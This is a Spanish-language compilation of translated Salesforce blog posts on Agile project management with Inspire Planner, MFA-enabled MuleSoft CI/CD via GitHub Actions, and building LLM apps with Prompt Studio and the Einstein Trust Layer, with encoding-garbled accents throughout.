  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega m谩s r谩pida que los m茅todos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y din谩micos, mientras que la mayor铆a de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% m谩s r谩pido y un 16% m谩s productivo que el modelo de desarrollo de proyectos convencional.
  • Participaci贸n del cliente: Agile enfatiza la colaboraci贸n y la comunicaci贸n abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentaci贸n peri贸dica despu茅s de cada sprint. Esta participaci贸n continua garantiza que el producto se desarrolle seg煤n sus expectativas, lo que reduce las posibilidades de sorpresas de 煤ltimo momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obst谩culos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su 茅nfasis en la planificaci贸n y las revisiones peri贸dicas, facilita la estimaci贸n de cronogramas y presupuestos. Cada sprint tiene una duraci贸n y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones r谩pidamente y con una fuente de alta previsibilidad.

C贸mo Agile en Salesforce mejora la gesti贸n de proyectos

El verdadero potencial de Salesforce s贸lo puede desbloquearse si se combina con un enfoque de gesti贸n de proyectos adaptativo. As铆 es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentaci贸n: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentaci贸n suele ser una ocurrencia tard铆a. Agile en Salesforce permite adaptaciones r谩pidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints m谩s peque帽os y manejables. Seg煤n una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptaci贸n y eficacia.
  • Colaboraci贸n y comunicaci贸n: Agile no es solo una metodolog铆a; es una cultura. Mejora un entorno de comunicaci贸n abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, est茅n en sinton铆a. Esta colaboraci贸n mejorada garantiza que la implementaci贸n de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura 谩gil s贸lida en su organizaci贸n puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las caracter铆sticas destacadas de Agile es su 茅nfasis en la visibilidad. Herramientas como los tableros Kanban y los gr谩ficos de evoluci贸n ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendici贸n de cuentas y permite intervenciones oportunas si el proyecto se desv铆a de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gesti贸n de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificaci贸n temprana de posibles obst谩culos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen r谩pidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Despu茅s de cada sprint, los equipos realizan retrospectivas, analizando qu茅 sali贸 bien y qu茅 no. Estos conocimientos allanan el camino para la optimizaci贸n de procesos, garantizando que el equipo evolucione y mejore. Seg煤n Hexacta, adoptar una mentalidad de mejora continua en el desarrollo 谩gil ayuda a mejorar la productividad del equipo y mejora la innovaci贸n.
Registro de riesgos del proyecto en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Implementaci贸n de Agile en proyectos de Salesforce

La integraci贸n de metodolog铆as 谩giles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aqu铆 hay una gu铆a de 4 pasos para incorporar Agile a la perfecci贸n en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas espec铆ficas.

  • Propietario del producto: el propietario del producto establece la visi贸n del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos 谩giles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementaci贸n real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gesti贸n de proyectos para ayudar en la implementaci贸n 谩gil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios 谩giles, como:

  • Reserva
  • tableros kanban
  • Planificaci贸n de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes 谩giles y paneles de control

Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificaci贸n de sus clientes con m谩s de 140 rese帽as de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar f谩cilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.

Dado que Inspire Planner se encuentra dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Adem谩s, Inspire Planner tambi茅n ofrece una funcionalidad avanzada pero intuitiva de gesti贸n de proyectos en cascada. Al combinar las metodolog铆as Waterfall y Agile en un solo paquete con un solo costo de suscripci贸n, Inspire Planner es la aplicaci贸n para todas sus necesidades de gesti贸n de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

Planificaci贸n de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gesti贸n de proyectos:

  • Planificaci贸n de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obst谩culos y garantizar que la implementaci贸n de Salesforce siga por buen camino.
  • Revisiones de Sprint: despu茅s de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptaci贸n a los desaf铆os relacionados con Agile en Salesforce

Cada plataforma tiene desaf铆os 煤nicos y Salesforce no es una excepci贸n. Las ceremonias 谩giles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones espec铆ficas de Salesforce, integraciones con aplicaciones no nativas o la gesti贸n de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duraci贸n de los sprints puede variar seg煤n los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores pr谩cticas espec铆ficas de Salesforce.

Mejores pr谩cticas para introducir Agile en Salesforce

Fusionar el mundo de las metodolog铆as 谩giles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores pr谩cticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores pr谩cticas que puede probar:

Capacitaci贸n y mejora de equipos en pr谩cticas 谩giles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo est茅 bien equipado para nadar. Esto significa invertir en sesiones de capacitaci贸n integrales que presenten a los miembros del equipo los principios b谩sicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar f谩cilmente los desaf铆os de las implementaciones de Salesforce. Adem谩s, las sesiones peri贸dicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las 煤ltimas metodolog铆as 谩giles y aplicaciones 谩giles para Salesforce.

Garantizar canales de comunicaci贸n claros entre los expertos de Salesforce y los profesionales 谩giles

La comunicaci贸n clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales 谩giles que aportan experiencia en metodolog铆a.

Esto garantiza que los procesos 谩giles se adapten a las demandas 煤nicas de Salesforce. Las reuniones peri贸dicas, las sesiones frecuentes de retroalimentaci贸n y los canales de comunicaci贸n abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar peri贸dicamente el proceso 谩gil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos 谩giles continuamente. Esto podr铆a significar ajustar la duraci贸n de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas espec铆ficas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas peri贸dicas pueden ofrecer informaci贸n sobre 谩reas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desaf铆os de Agile en Salesforce y Soluciones

Combinar metodolog铆as 谩giles con implementaciones de Salesforce, si bien es prometedor, es un desaf铆o. Sin embargo, estos desaf铆os pueden abordarse eficazmente con previsi贸n y planificaci贸n estrat茅gica.

脡stos son algunos de los posibles obst谩culos y c贸mo superarlos:

Resistencia al cambio de las metodolog铆as tradicionales

  • Desaf铆o: Los equipos acostumbrados a las metodolog铆as tradicionales de gesti贸n de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Soluci贸n: La gesti贸n del cambio es clave. Comience con sesiones de concientizaci贸n que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres pr谩cticos, las historias de 茅xito y los proyectos piloto pueden ayudar a los equipos a realizar una transici贸n sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopci贸n.

Alinear sprints 谩giles con los ciclos de lanzamiento de Salesforce

  • Desaf铆o: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints 谩giles. Esto puede provocar problemas de sincronizaci贸n, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Soluci贸n: La planificaci贸n estrat茅gica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podr铆a significar sprints m谩s cortos o alinear sprints espec铆ficos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos r谩pidos de desarrollo

  • Desaf铆o: La naturaleza iterativa de Agile significa ciclos de desarrollo r谩pidos. Si bien esto garantiza una entrega m谩s r谩pida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Soluci贸n: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integraci贸n continua y las revisiones peri贸dicas del c贸digo pueden garantizar que la calidad no se vea comprometida. Adem谩s, dedicar sprints espec铆ficos o partes de sprints a controles de calidad, especialmente despu茅s de importantes personalizaciones de Salesforce, puede garantizar un producto final s贸lido.

Pensamientos finales

La fusi贸n de metodolog铆as 谩giles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodolog铆as tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendaci贸n sino un imperativo estrat茅gico. A medida que la industria contin煤a evolucionando, la capacidad de adaptarse e iterar r谩pidamente definir谩 el 茅xito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evoluci贸n y mejorar la colaboraci贸n. El futuro llama y es 谩gil.

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Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub 鈽侊笍

Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub | Blog de desarrolladores de Salesforce

La mayor铆a de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticaci贸n multifactor (MFA) para mayor seguridad. Esto significa que, adem谩s de su nombre de usuario y contrase帽a habituales, necesitar谩 un paso adicional para autenticarse (por ejemplo, una aplicaci贸n de autenticaci贸n en su tel茅fono).

Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA est谩 habilitado en su cuenta, la configuraci贸n para autenticarse usando el complemento Mule Maven ser谩 diferente que si solo estuviera usando su nombre de usuario y contrase帽a. Hay m谩s pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este m茅todo de autenticaci贸n.

En esta publicaci贸n, aprender谩 c贸mo configurar una canalizaci贸n de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.

Requisitos previos

Crear una aplicaci贸n conectada

Dado que usar el nombre de usuario y la contrase帽a de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicaci贸n conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gesti贸n de acceso > Aplicaciones conectadas > Crear aplicaci贸n .

Asigne un nombre a su aplicaci贸n para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicaci贸n act煤a por s铆 sola y haga clic en el bot贸n Agregar 谩mbitos .

Seleccione los siguientes 10 谩mbitos.

  • Desarrollador del centro de dise帽o
  • Ver entorno
  • Ver organizaci贸n
  • Perfil
  • Administrador de organizaci贸n de CloudHub
  • Crear aplicaciones
  • Eliminar aplicaciones
  • Descargar aplicaciones
  • Leer aplicaciones
  • Leer servidores

Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .

Una vez creada la aplicaci贸n, aseg煤rese de copiar tanto el ID como el Secreto . Los utilizar谩 en la configuraci贸n de la canalizaci贸n como m茅todo de autenticaci贸n.

Configura tus secretos de GitHub Actions

Vaya a su repositorio de GitHub. Haga clic en la pesta帽a Configuraci贸n > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificaci贸n real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copi贸 en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .

Crear una canalizaci贸n de CI/CD

De vuelta en el c贸digo de su aplicaci贸n Mule, cree una carpeta .github en el nivel ra铆z. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la l铆nea 5. Si su sucursal tiene un nombre diferente, aseg煤rese de actualizar esta configuraci贸n.

En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicaci贸n Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el 煤ltimo paso para pasarlos a nuestro proyecto a trav茅s de Maven. Aqu铆 declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicaci贸n de los secretos de GitHub para que el archivo pom.xml pueda usarse m谩s adelante.

Modifica tu configuraci贸n de Maven

En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuraci贸n a este complemento.

<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
“>

Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuraci贸n de Maven.

Es importante que no codifique las credenciales de la aplicaci贸n conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu c贸digo con el nuestro.

ejecutar la tuber铆a

Una vez que todas sus configuraciones est茅n listas, confirme y env铆e sus cambios al repositorio remoto. Esto activar谩 la canalizaci贸n en GitHub. Puede ver el proceso haciendo clic en la pesta帽a Acciones de su repositorio de GitHub.

Una vez completado el proceso, su aplicaci贸n Mule se implementar谩 en Runtime Manager. Tenga en cuenta que el archivo JAR contendr谩 el hash de confirmaci贸n en su nombre.

Conclusi贸n

Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicaci贸n Mule cada vez que hay un cambio en el c贸digo, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.

En esta publicaci贸n, aprendimos c贸mo implementar autom谩ticamente una aplicaci贸n Mule en CloudHub cuando usamos la autenticaci贸n multifactor en nuestra cuenta de Anypoint Platform porque la mayor铆a de las cuentas empresariales tienen esta configuraci贸n habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicaci贸n conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contrase帽a de Anypoint Platform para iniciar sesi贸n.

Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicaci贸n Mule, por ejemplo. 驴Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?

Nota: Las versiones iniciales de la canalizaci贸n se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .

Recursos adicionales

Sobre el Autor

Alex Mart铆nez form贸 parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fund贸 ProstDev para ayudar a otros profesionales a aprender m谩s sobre la creaci贸n de contenido. En su tiempo libre, encontrar谩s a Alex jugando juegos de Nintendo o Playstation y escribiendo rese帽as sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .

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Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
